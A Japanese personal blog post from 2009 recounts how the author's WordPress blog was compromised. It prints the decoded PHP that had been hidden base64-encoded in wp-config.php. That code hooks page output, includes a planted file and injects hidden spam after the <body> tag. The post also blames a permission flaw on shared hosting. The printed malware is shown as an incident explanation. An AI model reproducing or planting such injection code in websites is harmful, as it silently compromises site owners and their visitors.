日別アーカイブ: 2009/02/13

090211: blog was carcked

(この)blogがクラックされた。

具体的には、<body>タグの直後に64kくらいの(!)SPAM広告が埋め込まれる、というクラック。

kazuさんに指摘されて気づいたのだが、CSSを切らないと画面には表示されないようになっていた。
指摘された後もなにが起きているのかわからず、WordPressを最新ソースに差し替えたりしたのだが、直らず。

と、思っていたら、WordPress設定ファイルである、wp-config.php自体が汚染されていた。

かつ、埋め込まれたコードはbase64でエンコードされており、単純には見つからない仕組みになっていた。

ちなみにこんなコード。けらくんに解読してもらった。

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
 $GLOBALS['sh_no']=1;
 if(file_exists('/home/www/wordpress/wp-includes/js/
 tinymce/themes/advanced/images/xp/js.php')){
   include_once('/home/www/wordpress/wp-includes/js/
   tinymce/themes/advanced/images/xp/js.php');
   if(function_exists('gml')&&!function_exists('dgobh')){
     if(!function_exists('gzdecode')){
       function gzdecode($d){
         $f=ord(substr($d,3,1));
         $h=10;
         $e=0;
         if($f&4){
           $e=unpack('v',substr($d,10,2));
           $e=$e[1];
           $h+=2+$e;
         }
         if($f&8){
           $h=strpos($d,chr(0),$h)+1;
         }
         if($f&16){
           $h=strpos($d,chr(0),$h)+1;
         }
         if($f&2){
           $h+=2;
         }
         $u=gzinflate(substr($d,$h));
         if($u===FALSE){
           $u=$d;
         }
         return $u;
       }
     }
     function dgobh($b){
       Header('Content-Encoding: none');
       $c=gzdecode($b);
       if(preg_match('/\<body/si',$c)){
         return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
       }
       else{
         return gml().$c;
       }
     }
     ob_start('dgobh');
   }
 }
}

もう一つ自己増殖するコードも埋め込まれていた模様。

実はこのblog(underconcept)ではなく、同じサーバで運営していた別のblogが原因でこちらのblogも汚染されていた。

これはこのblogを乗せているさくらインターネットがユーザーの権限でApacheを動かしていたため、パーミッション644のファイル(ほぼすべて)が、Apacheの権限で書き換えられてしまったことに起因しそう。

問題のありそうなテーマ等は現在解析中です。